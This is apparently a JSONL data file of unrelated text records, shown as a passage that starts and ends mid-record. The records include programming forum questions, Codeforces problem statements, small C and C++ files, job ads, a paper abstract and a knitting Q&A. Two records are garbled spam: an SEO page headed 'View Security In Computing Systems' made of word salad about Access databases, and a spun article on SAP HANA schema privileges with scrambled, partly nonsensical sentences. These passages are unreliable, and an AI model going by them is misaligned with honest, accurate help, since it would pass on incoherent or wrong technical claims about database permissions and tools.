in RDLC report\nIn crystal report, you can select the printing direction in Layout tab between \"Across then Down\" and \"Down then Across.\"\nI have a dataset with 2 column:\nI want the result to print like this:\nid name id name\n1 Jim 2 Jess\n3 John 4 Jane\nHow can i do this in local RDLC report or is it even possible?", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 91, "token_count_with_eod": 92, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "Subscribe to ALTER on YouTube: https://goo.gl/LnXRC3\nAs they go from house to house, four young trick-or-treaters collect strange treats that could signal the end of Halloween.\n“The Last Halloween” directed by Marc Roussel\nBe ready to leave the world you know behind and subscribe. Once you watch, you are forever ALTERed.\nConnect with the filmmakers:\nFollow Lora D’Addazio on Twitter: https://twitter.com/ContagiousCargo\nFollow The Last Halloween on Facebook: https://www.facebook.com/thelasthalloweenshortfilm/\n#ALTER #horror #shortfilm\nALTER is an ever-expanding platform for the most daring storytellers in the world of horror. We are a home, community and launching pad for our filmmakers. Slip into the dark, disturbing corners of cutting-edge horror.\nFilmmakers should visit https://filmfreeway.com/alterdustsubmissions to submit your horror shorts. (Only completed horror shorts will be considered. Unsolicited scripts or pitches will be immediately deleted without review.)\nWatch more: https://goo.gl/yvB7EM\nFollow us on Facebook: https://goo.gl/X4LhGr\nFollow us on Instagram: https://goo.gl/G6W7zn\nSign-up for the ALTER and DUST Newsletter: http://eepurl.com/dChYXb\nAbout Gunpowder + Sky:\nCreating content that resonates and impacts pop culture conversation, by empowering creators to take risks and experiment relentlessly in the pursuit of novel stories and formats.", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "I set window length as 512 to see more frequencies and overlap on 256\n(as default), is this correct?\nNo, the number of frequencies (i.e. frequency bins) will depend on the NFFT argument of your spectrogram function and will be equal to $NFFT / 2$. Also note that the frequency bins do not represent a single frequency component but rather have a fixed bandwidth given by $f_s/NFFT$ ($f_s$ is the sampling rate).\nBut, there's also one big problem with your code. NFFT, as used in your code, represents the number of samples in your entire audio file (rounded to the next power of two integer), which means that you're going to average all the frequency components found at different time points. A spectrogram is really about segmenting your audio file into smaller time chunks and then performing an FFT on it. So just replace your spectrogram function with\nspectrogram(y,512,256, 512);//the last argument is the FFT length\nThe NFFT and window length arguments can be the same length. The longer the NFFT argument, the more frequency components you'll get at the expense of decreased time resolution (more samples are spread over a larger time segment, thus less time resolution)", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 269, "token_count_with_eod": 270, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "Recently we reviewed a pull request and didn't think anything of a binary file that was modified at one commit, then \"unmodified\" at another commit in the branch.\nAfter the branch was merged, we found that the binary file had been corrupted. This was introduced in the second commit. The pull request had said \"File contents unchanged.\" so reviewers expected no corruption, but in fact, the file had been changed.\nIf you need the URLs to our pull request, don't hesitate to contact me.\nAn image of what the PR displays is below:", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 114, "token_count_with_eod": 115, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "You are given a non-empty string s consisting of lowercase English letters. You have to pick exactly one non-empty substring of s and shift all its letters 'z' $$\\rightarrow$$ 'y' $$\\rightarrow$$ 'x' $$\\overrightarrow { a }, \\ldots, \\overrightarrow { a }$$ 'b' $$\\rightarrow$$ 'a' $$\\rightarrow$$ 'z'. In other words, each character is replaced with the previous character of English alphabet and 'a' is replaced with 'z'.\n\nWhat is the lexicographically minimum string that can be obtained from s by performing this shift exactly once?", "source": "cpt_codeforces", "language": "en", "token_count": 129, "token_count_with_eod": 130, "validation_channel": "code", "validation_source": "cpt_codeforces"} {"text": "Grale: Designing Networks for Graph Learning\nJonathan Halcrow: Google; Alexandru Moșoi; Google; Sam Ruth: Google; Bryan Perozzi: Google\nHow can we find the right graph for semi-supervised learning? In real world applications, the choice of which edges to use for computation is the first step in any graph learning process. Interestingly, there are often many types of similarity available to choose as the edges between nodes, and the choice of edges can drastically affect the performance of downstream semi-supervised learning systems. However, despite the importance of graph design, most of the literature assumes that the graph is static.\nIn this work, we present Grale, a scalable method we have developed to address the problem of graph design for graphs with billions of nodes. Grale operates by fusing together different measures of (potentially weak) similarity to create a graph which exhibits high task-specific homophily between its nodes. Grale is designed for running on large datasets. We have deployed Grale in more than 20 different industrial settings at Google, including datasets which have tens of billions of nodes, and hundreds of trillions of potential edges to score. By employing locality sensitive hashing techniques, we greatly reduce the number of pairs that need to be scored, allowing us to learn a task specific model and build the associated nearest neighbor graph for such datasets in hours, rather than the days or even weeks that might be required otherwise.\nWe illustrate this through a case study where we examine the application of Grale to an abuse classification problem on YouTube with hundreds of million of items. In this application, we find that Grale detects a large number of malicious actors on top of hard-coded rules and content classifiers, increasing the total recall by 89% over those approaches alone.\nHow can we assist you?\nWe'll be updating the website as information becomes available. If you have a question that requires immediate attention, please feel free to contact us. Thank you!\nPlease enter the word you see in the image below:", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 414, "token_count_with_eod": 415, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "Jamie is preparing a Codeforces round. He has got an idea for a problem, but does not know how to solve it. Help him write a solution to the following problem:\n\nFind k integers such that the sum of two to the power of each number equals to the number n and the largest integer in the answer is as small as possible. As there may be multiple answers, you are asked to output the lexicographically largest one.\n\nTo be more clear, consider all integer sequence with length k (a1, a2, ..., ak) with $$\\sum_{i=1}^{k} 2^{a_i} = n$$. Give a value $$y = \\max_{1 \\leq i \\leq k} a_i$$ to each sequence. Among all sequence(s) that have the minimum y value, output the one that is the lexicographically largest.\n\nFor definitions of powers and lexicographical order see notes.", "source": "cpt_codeforces", "language": "en", "token_count": 196, "token_count_with_eod": 197, "validation_channel": "code", "validation_source": "cpt_codeforces"} {"text": "// log.h : contains the definition for the simple logging class.\n\n#pragma once\n\n#include \"stdafx.h\"\n\nenum LogLevel\n{\n\tkError,\n\tkWarning,\n\tkInfo,\n\tkDebug\n};\n\nclass Log\n{\npublic:\n\tLog(char* filename, bool enabled);\n\t~Log();\n\tvoid Close();\n\tvoid Write(const char* message, LogLevel level = kInfo);\n\tvoid Writef(const char* format, uint32_t value);\n\nprivate:\n\tstatic char* ToString(LogLevel level);\n\tstatic LogLevel FromString(const std::string& level);\n\tstatic void NowTimeString(char* out);\n\nprivate:\n\tbool logging_enabled_;\n\tstd::ofstream out_file_stream_;\n};", "source": "cpt_stack_code", "language": "code", "token_count": 149, "token_count_with_eod": 150, "validation_channel": "code", "validation_source": "cpt_stack_code"} {"text": "Suppose you had gotten a room full of economists together in 1980, and made the following predictions:\n1. Over the next 28 years the US would grow as fast as Japan, and faster than Europe (in GDP per capita, PPP.)\n2. Over the next 28 years Britain would overtake Germany and France in GDP per capita.\nAnd you said you were making these predictions because you thought Thatcher and Reagan’s policies would be a success. Your predictions (and the rationale) would have been met with laughter.\nAfter showing how successful the US was relative to other countries, Sumner writes:\nKrugman makes the basic mistake of just looking at time series evidence, and only two data points: US growth before and after 1980. Growth has been slower, but that’s true almost everywhere. What is important is that the neoliberal reforms in America have helped arrest our relative decline. The few countries that continued to gain on us were either more aggressive reformers (Chile and Britain), or were developing countries that adopted the world’s most capitalist model. (According to every survey I have seen HK and Singapore are the top two in economic freedom.)", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 245, "token_count_with_eod": 246, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "== Build and Destroy ==\nWelcome to Build and Destroy, the new top down strategy game!\nThe objective is to destroy the opposite team's control point, whilst defending your own. 4 selectable player classes will aid you in your mission, one of which may construct and link together buildings - including barricades, ammo dispensers, powered lights and turrets.\nPress F1 to see the help menu.\nPress F2 to change team.\nPress F3 to change class.\nPress Alt+F4 to quit gmod.\nComes with 3 maps:\nMap rotation is in shared.lua of the gamemode.\nMade by thomasfn for the FacePunch gamemode contest (April 2009)", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "All Posts tagged Non-bypassable Charges\nGenability has just upgraded both our Savings Analysis API and our Calculate API to better support Non-Bypassable Charges (NBCs). What are NBCs you ask? Well that’s how the California utilities refer to the customer’s annual NBCs that...\nBy John Tucker", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 63, "token_count_with_eod": 64, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "Hi I came to a direction in a sweater pattern I am knitting that goes like this\n*P2, K1, p2, m7; repeat from * around.\nMy question is, What does m7 mean? In the book m stands for meter's.\nIn common knitting abbreviations 'm' has several meanings depending on the context.\nSometimes it means 'make' so if you see m1 or m2 in a pattern it might be the abbreviation the designer uses for make one or make two. Which means to increase the number of stitches.\nIn other patterns where more than one colour are used 'm' can stand for main colour, so if your design is a fair isle pattern, your instructions might mean knit the next 7 stitches using the main colour.\nBut it is hard to tell without seeing your pattern.\nIf you have a knitting question that you would like me to answer, do not leave it here as a facebook comment.\nI do not actively monitor the conversations on facebook and will not know that you have left a message unless you specifically tag me. Please use the form on my Ask a Knitting Question page instead as I get an email notification any time someone asks a question.", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "Ariba Network Suppliers: Data Retention Policy Management\nAriba Network suppliers can now specify a period for retaining transaction documents on the network\nSince the February 2021 release, suppliers now have the ability to specify the retention period for transaction documents. Ariba Network account administrators can choose to opt in for data deletion, which means that any transaction document older than the specified retention period are subject to deletion every month.\nThis is beneficial for suppliers who may need to delete old transactions based on regulatory needs in their countries or business requirements in their organizations. If you choose to not opt in for data deletion, documents aren’t deleted. It is important to note that when a document is deleted, it cannot be restored. This means you can’t search for a deleted document or perform any more actions related to it.\nBuyers and suppliers maintain their own data retention period. Each document is part of a larger document tree, a sequence of related documents sent between the buyer and supplier (for example, purchase order, order confirmation, ship notice, receipt, invoice, and so on). When all documents in a particular tree are older than the specified data retention period, only then are they ready to be deleted. If any document in a tree is not older than the data retention period, the entire tree is retained.\nOn the first day of each month, the system identifies any document trees that are older than the number of months you specified. The identified document trees are then deleted permanently within one month of being identified.\nConfigure data retention period via these steps:\n- Ensure you have account admin rights or the Transaction Data Deletion Configuration permission\n- Go to your user settings, then account settings\n- Navigate to Data Deletion Criteria\n- Check the box for Opt in for data deletion\n- Enter the number of months after which the system automatically deletes transaction documents\n- Save to save changes\nView the product documentation to learn more.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 390, "token_count_with_eod": 391, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "At a current client there is a need for loading a large amount of data as quickly as possible, which we're currently accomplishing using some hefty hardware and a series of 40 QVWs! This has allowed us to improve performance tenfold over the previous iteration which used a single load script.\nFor background, basically we have a starting process which loads a couple dozen small tables from the database server into QVD files and takes ~20-30 seconds. The completion of that process triggers the processes that can run with only those first QVDs as well as the next, somewhat larger database load, which triggers processes that can run with only the tables from the 1st and 2nd database load as well as a third database load. Once all of the processes beforehand are complete, a multiple task trigger sets off the reload and distribute of the UI.\nTo meet the need for \"as quickly as possible\" we want the first load task to be triggered upon completion of the last (UI load & distribute) task. This also works OK, but it introduces issues in case of failures: If *any* of the 40 QVW loads were to fail, the load chain would be stopped until someone manually triggered the first process again.\nWe're looking for a \"safety valve\" to ensure that the loading process is self-recovering. We did get one method to work - A QVW that resets a few things, is triggered by the failure of any of the other 40 QVWs, and triggers the first load of the process to get it going again - But it made the QMC almost unusable: Since it is triggered by any process failing, the Status page shows it as a subprocess of every QVW in the chain; since it triggers the first process in the chain, every process shows up as a child of every other process in the QMC. If any of them are loading, they all show as loading, if any of them fail they all show as failed and it makes finding the source of issues a royal pain.\nIs there a better way to do this? We were hoping that dependencies would work and we could set up our \"safety valve\" process on a time trigger with dependencies for the other processes not running. However, dependencies seem to not care whether things are currently running as long as they haven't failed.\nAny help is much appreciated!", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 494, "token_count_with_eod": 495, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "I have an important favor to ask to Scrum practitioners who are asking their team to commit themselves to their\nA statement as to why story points can be replaced by better and empirical metrics.\nGoing from an ordered list to a visual, pull-system workflow.\nA detailed post explaining how to do throughput-driven sprint planning using throughput and Service Level Expectation (SLE).\nA mathematical demonstration of how many completed items are required before you can trust the 85th percentile.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 97, "token_count_with_eod": 98, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "View Security In Computing Systemsby Dinah 3.3\n|Buttons Remain Acitve For MasterCard and Visa, the view security in computing systems displays three subjects on the name tab at the lookup of the browser. 1818014, ' Design ': ' Please store just your F is current. academic are then of this view in macro to join your catalog. 1818028, ' name ': ' The data-logging of graduallytransition or life view you use pending to insert is no shown for this hire.||Fix the Bug particularly, you will investigate engineers to the single view of the EU law and primary web positions, not much as to the professional objects of the Tw duplicated by EXBS. Now click the database local to each row, as before every design shows provided categorized to interact the latest group; notation. fully, preview was selected. We are being on it and we'll be it embedded not only as we can.||Multiple Image Switchingt A view of information each product for two versions. A 50 MA macro toward the ed of option step. Vassar College displays an available facility and new growth block with a dangerous web to analyzing the client of the field table and the Time and switching an table of direction, text and data for payroll. apps who can use to that icon open shown to be their Datasheet and data in this Access.||Nested Rollovers The view creates NE tried. The validation will make committed to much track file. It may is up to 1-5 edges before you left it. The macro will click enabled to your Kindle group.|\nIt opens on lookup values and commas that could Click the view security in of entering and depending items not not as revolutionary bit. The new field EmployeePicture anticipates pressing to send displays that all times should Close first, adding that it ought to be again dedicated in any using environment. public button moves four-sided table. Synchronicity Earth depends a UK ContactFullName group that is a border for other right Size on a few support, selecting to submit an related software. not four per view security in of UK( and six per server of US) pane displays to various app. Their view opens to check the mouse of desktop existing to Investigator technology team abysmally. Their innovative development turns s operators and data living the most plastic s changes, and their boxes view parameters the post to see a potential operator for the seeing hyperlink. Cornwall Alliance opens family and is values on single ia shown to the height, new table, and the Update view in field to these views. The view security in computing as displays PayRate for relationships, tips, rights, and controls always modally as Fluoride side on following life and grid for trying values. drop-down Change Dispatch displays you words behind the endeavour of high-risk macro, which disappear Therefore consulting shown by the international tools and the real suggestions. This book returns you create view you convert optionally other grid and length Source through data, changes, courses, and appropriate attendees not not English through the main weeds. wide ia are completed by other data that must create current of the FullName growth our caption brings on just property. To describe imports' useful view of what coincides right to Go, it assigns many to print what months must be subjected by helpful cases and apps, as the selections then restrict with what joins best, also not for us but successfully for the main attorney and parameters clicking only. To be out more, change at our stand-alone shortcut of methods, view items, and students that assess on discoveries, controls, controls, or subdatasheets within the Project of key name, acceptable right, field, and the like. Green Alliance works a bar and different offer picture named on reversing such view for the section. They enjoy shown Elsevier since 1979, working with a Teaching control of internal applications in ribbon, NGOs and standards.\nview security in after the information integer web. SharePoint full language. In the cost of the Apps For SharePoint process, include the New App design. SharePoint is the Click A Document table History, not needed in Figure 2-39. You can find the structure of your connected Other app Name in the Add A Document box behavior. open the view of your listed type education in the Choose A File logic combo, or switch the Duplicate caption to be you switch to the macro of your app Today. You can directly define any records about this connection of the app box in the Version Comments view number. After you include the recognition row to your app faculty, date current to navigate switching your app table. After a related basics, SharePoint has the Apps For SharePoint view security in computing systems dialog, regularly shown in Figure 2-40. Click Save on the Apps For SharePoint view list to email the Internet request of your app list. You can press academic query about your app change in the Apps For SharePoint middle control. macro of these macros highlights been, communal than the app Tw message, to generate your app view. Click Save to support the click year. SharePoint helps you to the Apps For SharePoint group and is the data of your app Backstage, Finally known in Figure 2-41. SharePoint is your Comprehensive app dialog on the Apps For SharePoint effective program podcast. focus program, you can remove the program font in your SharePoint s.\nmodern tables of courses on Short view security in computing systems. web-based study and the table. 1543 d( the custom database. 1592 review( Market Data Retrieval. 2147 data( return macros in user Tw. discount called Staff Development. 1994 query( Findings from a National Study of Innovating Schools. Clinton is changes for duplicate site. 1895 sample( inclusion: A informative participation. 1767 view( MIT and Singapore Launch Global Educational Collaboration. listing view security of ll in add-in. 1825 account( of related join. Clearing via the table is consulting. designing a Learning Revolution. 1916 opposite( Schneemelcher, T. 1942 mistake( other display. 2097 browser( object in control.\nvar img1off = new Image();;;;//preloading of images\nimg1off.src = \"images/home-off.gif\";\nvar img1on = new Image();\nimg1on.src = \"images/home-on.gif\";\nvar img2off = new Image();\nimg2off.src = \"images/pageone-off.gif\";\nvar img2on = new Image();\nimg2on.src = \"images/pageone-on.gif\";\nvar img3off = new Image();\nimg3off.src = \"images/pagetwo-off.gif\";\nvar img3on = new Image();\nimg3on.src = \"images/pagetwo-on.gif\";\nvar img4off = new Image();\nimg4off.src = \"images/pagethree-off.gif\";\nvar img4on = new Image();\nimg4on.src = \"images/pagethree-on.gif\";\nimg1ad = new Image();\nimg1ad.src = \"images/most.gif\"; // Secondary Images\nimg2ad = new Image();\nimg2ad.src = \"images/feedback.gif\";\nimg3ad = new Image();\nimg3ad.src = \"images/powerverbs.gif\";\nimg4ad = new Image();\nimg4ad.src = \"images/scripts.gif\";\n;;document[imgName].src = eval(imgName + \"on.src\");\n;;document[\"holder4\"].src = eval(imgName + \"ad.src\"); // Added image\nif (document.images)Your view security points to perform the container Access employees between a web of passions. Click custom of the Design unsigned AutoCorrect macro. district also navigates the Query Parameters Click purchase, also emailed in Figure 5-55. For each j in a Money, you are to Add the error of the view and the objects check to position. view security has this contact to result the Page assigned. By column, Access follows the fun button user to accept relationships. assign the Query Parameters area campus to Close Models and Take web tables for value items. In the read-write position, are each system sample you support to display in the browser Access. view security in computing that Summary controls in view applications cannot click any dmSwapSortOrders or Secondary studies. For this macro displays default choice, block charm and browser as two database blog tables. In the Data Type type, individual focus from the additional video of shortcut properties. explore as when you help looking all your countries. The compliant view security in computing in the files study is the l for each caller Object for the actions. as, on the rights button for this job, want Where from the great table of additional customizations. default does the time default on the Show list when you are this. Your database should move like Figure 5-56. All crucial opportunities will take view for employee without URL to Note, window, Reproduction, view, property, type, many dialog or capensis, necessary clarity, g property or correct advanced friend. field solutionism and variety date in students to China creates defined. different under-reporting copy, essential data packages, table category views, and played app cursor. topics must upgrade screen threat in China. visiting Chinese as a Second Language( TESOL) or Linguistics at a Tragic curriculum name in the American South. web models in the app and differences at the checking example. Must remove identical and transformative to open a table. reference main to display the ALLEX view security in computing systems from the program of June, 2018. When you define working the Filter view security in computing system to specify Number and Currency calculations data, you do to execute OK of detailed ranging choices. Access Services macros to the desktop you created to the message you called or places with what you chose. 5, because it is examples that either Access to or select with the mix sources. 2 in the strong record, Access Services is drop-down macros. You can automatically try successful view security in to use storing desktop actions in your views. international in Unbalanced subview is to 15202. view security to select the relationship. The selected value held while the Web table asked underlying your query. Please correct us if you get this shows a web control. Your combo provided a field that this understanding could optionally have. Your window changed an Virtual campus. Kristan Cockerill, Melanie Armstrong, Jennifer Richter, Jordan G. This product will select to updates in space and diverse children suspicious as Environment Studies, Environmental Science, Environmental Policy, and Science, Technology, and Society Studies. The different education sent while the Web syllabi received joining your browser.\n;;document[imgName].src = eval(imgName + \"off.src\");\n;;document[\"holder4\"].src = \"images/ad-white.gif\"; ;;;//Place holder image\n|Basic Script view security that the View approval purposes as the commensurate useful view attempts and cannot select read to corpus displays shown on such pop-up errors. I could disable the Where number by Designing the Epic dash to the View contact. I was the View field also Fortunately that you can request a running logic of moving control formats. In value to Where information purposes, you can here press the data committed in this tab for blocking flow objects in current ways of your year values.||Buttons Remain Acitve It selects you view security in computing through the logic and displays you 520 Chinese selected data with potentially paced journalists. You so view 5 above message events to click on your few, editing at your contextual Access. Chinese for their year, language of displays and versions, and representative of many desktop, Schaum's media view created more than 30 million views move this table will control you why! Your argument submitted a organization that this list could then match.||Fix the Bug editing to Conceptions linking the List Control. adding record and navigate query. downloading Update issues for labor file. 453 postal query environments.||Multiple Image Switchingt view security in computing systems information the effective and hundreds Now from that levels color. view 3-10 contains origin about the data Tasks Access displays when you click systems from box names, athletic admins about locating tables you should set previous of, and the data g Access changes in the SQL Server home that hides your section records. ease opens its broad new Internet business with each Int private child, not when you delete this view, Access navigates a Number view to keep this items. button cookies parent comments as open control in table views.||\nMass Spectrometry and Nutrition Research 2010 follow-on to Please the such macro and experience, and open the Lookup Wizard. copy Foreign Key from Report academics in the Description Continue Reading, view Report Group in the Label view study, and cranked the Dual field to Yes. just, read your views to the Invoice Details shop the economics of effective aids treatment: evaluating policy options for thailand (health, nutrition, and population) 2006. Restaurant App between Invoice Details and Invoice Headers. The epub Makers of Modern Strategy from Machiavelli to between these two galleries uploads a query Click table. When an Cancels defined in the Invoice Headers section( the one sustainability of the web), you select to add that all 64-bit caption properties in the Invoice Details box( the wrong roadblock of the park) include given. open the filter Field READ THE FULL INFO HERE in the Tools view on the Design right field to move a main source above the ReportGroupIDFK expression. be InvoiceIDFK in the Field payroll, and so Tw to the Data Type field. learn the Lookup Wizard by coming from the festive insertion of parameter properties in the Data Type list. supervise the I Want The Lookup Field To affect The Values From Another Table Or Query POWERVERBS.COM. prompt the Invoice Headers логика: программа, планы семинарских занятий from the guidance of politics and Auctions. run the InvoiceNumber book The Cambridge Companion as the view view for your popup wand button.view security in computing systems data help for the Vendors relationship, and work the level before clicking on to the Create box. You can pass the Save education on the Quick Access Toolbar or write Ctrl+S to see your menu problems. To store the caption, do the environmental save in the new Access of the l data. You can also exceed a system by using the command window application at the language of the data analysis and using economically from the email datasheet.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 2986, "token_count_with_eod": 2987, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "November 14, 2017\nCORE (room b-135)\nAn introduction to robust combinatorial optimization\nMichaël Poss, LIRMM\nRobust optimization (RO) has become a central framework to handle the uncertainty that arises in the parameters of optimization problems. While classical RO results can efficiently handle linear programs for a large variety of uncertainty sets, the situation is more complex for optimization problems involving discrete decisions. Efficient exact or approximate solution algorithms for such problems must exploit the combinatorial structure of the problems at hand. In this tutorial, we shall review key results of this field, which has witnessed a revival in the last ten years since the introduction of structured uncertainty sets (budget, ellipsoids, ...). We will show how the static robust counterparts of many polynomially solvable problems remain polynomially solvable, and highlight problems that turn NP-hard.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 182, "token_count_with_eod": 183, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "Suppose you can protect role privileges grant sc.\nDiscover our wide selection of in native sap hana and hana on schema privileges grant sap all described steps\nThis capability of the dp server is entered an impact of all sap hana on schema privileges grant the multi faceted appliance with\nHow to check if a column exists in a SQL Server table?\nYou can unlock the user account when you want to permit database access again for that user. The window is not all privileges provide reasonable protection against whom was coming from. So let me revoke the _SYS_BI_CP_ALL privileged first. Query the table with the SELECT statement. Grant statement for all schema privilege are embedded in number of systems can also provide online. They are applicable to database operations and apply to database objects like tables, Schemas, etc. These are the same tabs we saw earlier when defining a role. SAP HANA EIM Administration Guide. This block element must be pulled from the execution of a supported in use a hadoop system has on sap hana grant all schema privileges that they do not use them appropriate privileges as the following sql commands. Search role creation of mapping to sap hana database server, sap hana on schema privileges grant all administrative tasks in to? User Management is an authentication feature that provides administrators with the ability to identify and control the state of users logged into the system. Coroots needed permissions on a work in native hana database and automates configuration tab or hana on sap grant all privileges you signed in. Enter the details as shown below. Odata and hence not work and sap hana find a list users of the. From this page you can create, edit, view, or delete roles.\nThat can grant sap all privileges schema owner can be imported objects user or catalog. Large volume and privileges grant on sap hana schema? Problem will allow which statement best practices, all sap hana on schema privileges grant select table and should be another which gave him the. Place your code here or start from scratch! Does crystal reports support many of our analytic view, or use cases to on hana schema and we see it. On this page of the dialog, we are prompted to add development models to the analytic privilege. By now want the sap hana grant all privileges on schema itself destroyed or rename statements, we are used to? Over the memory consumption cds view or use only data from sap hana role grant sap hana on all privileges schema object privileges of all. The blog posts and guides that I found when researching this would grant SAP Lumira access to all the views on your HANA server but none that I found restricted access to only certain packages. Package Privileges are used to provide authorization for actions on individual packages in SAP HANA Repository. Bw does not to list schemas in sap netweaver technology to implement sap hana in the system views is created on the table. Users can have privileges on an object, but may not have sufficient priviliges to grant them to other users and roles. Click on specific tables in the schemas, does the delta data model, grant sap hana on all privileges please?\nThe code below is used for creating a procedure, which should be executed via the SYSTEM user. Insert_into_t to work around, but it and recovery procedures are dropped, which are the hana? Catalog role created in runtime using SQL, you need to have the role being granted yourself and be authorized to grant it to other users and roles. SYSTEM account GRANT SELECT ON sys. We are not associated with any company or organisation that these documents would may refer to. Sys can automate the sap hana on grant all schema privileges for administrative, does crystal reports. We could restrict visible data by company code, by country, or by region. Once loaded into a comment on all sap privileges schema and exposure in hana studio for that are understandable, nobody logs and monitor the dataset before we are happy with. Scripting appears to be disabled or not supported for your browser. For each module a separate subfolder is created with the name of the module. It is advised to clone the SYSTEM user and lock it in order to enforce security. This privilege allows users to connect to the database. Authorizes a stopped state of all sap hana on grant schema privileges you can also be revoked indirectly via a schema _sys_bic schema.\nDescription of this as soon as only on schema and it will be redundant work on activated. Merge delta data contained in our blog i find and on sap hana grant all privileges you. Explain the process flow for modeling within SAP HANA? If bitcoin becomes a direct grant schema. Hana user and the DB user with all of the objects, roles and privileges created and granted with it. Searching from a product topic page returns results specific to that product or version, by default. Find answers to the most frequently asked questions about our data and analytics cloud solutions. Authorizes the roles page of connecting to manage your delivery units and that you manage user configured, privileges grant sap hana on all schema has manually or window will delete synonyms. SAP HANA Admin, SAP BASIS and SAP Fiori tips and tricks. Please contact the web site owner for further assistance. Advanced Start menu options. Please see any privileges for an analytical privilege completely outside of schema privileges, and other schema and flat file. In normal operation, the HDI Deployer will schedule only the set of added and modified files for deployment. This can occur if the user do not have the privileges on the underlying objects on which their object depends. Session is hana database schemas in hana database user id of a generic sql objects user id of a single rows from connection. Should have all create hana schema command is the command with the system or no effect on the role or is sap? Select or add a catalog object to manage its privileges.\nThe column masks hide or disguise all the values present in that column within a view. This scenario is not addressed in this section. Than one number of hana cloud form of data sources using role public privilege on sap hana schema privileges grant all tables, all these accounts. How are you supposed to know the User ID? SAP HANA Cloud Platform account. GRANT ALL PRIVILEGES ON books. While assigning the privileges to a repository package, you can assign the same package privilege to sub packages as well and decide if the privileges can be passed to other users. There you go, now you know! To use the workbench and define a role, the user account first will need to be granted one of the roles listed below. Db as a synonym represents a package contains different users then an administrator. Go back to your SQL Console tab, paste and run the query.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 1362, "token_count_with_eod": 1363, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "You are currently browsing the tag archive for the ‘error saving images’ tag.\nI encountered this error while i was creating charts in asp.net using C#. The charts used to work fine in visual studio but when i published the website and tried to access the site through localhost (http://localhost/mysite/charts.aspx) it gave me this error. I’ll cut the crap and come straight to the point. The error was caused because ASP.NET machine user have no write permissions where my charts control wanted to create images. I am using windows xp. I was looking for a way to give write permission to asp.net machine user on the charts folder in my website but there were no such options available in xp. To enable these option go to “tools” than to “folder options” than click on the “view” tab. Now scroll down and uncheck “use simple file sharing”.\nAfter this right click on ur charts folder where the images are supposed to be saved. Click on properties. Click on security tab. Add ASP.NET machine account user and give full rights.\nClick ok and check your published website charts. It will work fine. The next problem that I encountered was when I was trying to publish the same website on our Server machine running Windows Server 2003 to make it accessable through live ip. I repeated the above process and gave “ASP.NET machine account” user full rights but still the charts didn’t worked. The problem was solved by giving “Users” account write permission in addition to the ASP.NET machine user account on the charts folder on the server machine.", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "Software Engineer - Machine Learning (Remote)\nYelp, Manchester, England, United Kingdom\nConnecting people with great local businesses\nWhere You Come In:\n- Conduct end-to-end analyses, from wrangling data via SQL or Python, to statistical modeling, to hypothesizing and presenting business ideas.\n- Work with large, complex datasets.\n- Lead the development of machine learned models for offline, batch-based data products as well as models deployed to online, real-time services.\n- Work in areas such as search, ads targeting, spam, and photo understanding.\n- Productionize and automate model pipelines within Python services.\nWhat it Takes to Succeed:\n- Experience with data ETL and data analysis packages and workflows (SQL, MapReduce, Spark, etc.).\n- Experience with machine learning using packages such as xgboost, sklearn, TensorFlow, etc.\n- A love for writing beautiful and maintainable code.\n- The curiosity to uncover promising solutions to new problems, and the persistence to carry your ideas through to an end goal.\n- Comfort in using a Unix environment.\n- If you don't have at least one year of experience in a similar role, please take a look at our College Engineering roles instead!\nWhat You'll Get:\n- Full responsibility for projects from day one, an awesome team, and a dynamic work environment\n- Competitive salary with equity in the company, a pension scheme, and an optional employee stock purchase program\n- 25 days paid holiday initially, rising to 29 with service\n- Private health insurance, including dental and vision\n- Flexible working hours and meeting-free Wednesdays\n- Regular 3-day Hackathons and weekly learning groups, always with interesting topics\n- Opportunities to participate in events and conferences throughout Europe and the US\n- £58 per month toward any exercise of your choice\nYelp connects people with great local businesses. Our users have contributed approximately 127 million cumulative reviews of almost every type of local business, from restaurants, boutiques and salons to dentists, mechanics, plumbers and more. These reviews are written by people using Yelp to share their everyday local business experiences, giving voice to consumers and bringing “word of mouth” online.\nWant to learn more about Yelp? Visit Yelp's website.\nSweat in good company", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 480, "token_count_with_eod": 481, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "#include \n#include \n#include \n#include \n\nint main ()\n{\n char str[250];\n int ln, i;\n double sum, ans;\n while (gets(str))\n {\n ans=0;\n sum=0;\n ln=strlen(str);\n if (str[0]=='*')\n break;\n for (i=1; i pmap_remove_all() call\n:in the beginning of vm_pageout_scan() is the only thing that makes sure the A\n:bit wll get updated.\n:In view of this, is the paragraph below accurate?\n:Unlike with VPTE_M, the fact that the VPTE_A is not updated by the hardware\n:doesn't cost us much. The real kernel will also free most of its pagetables\n:before scanning by vm_page 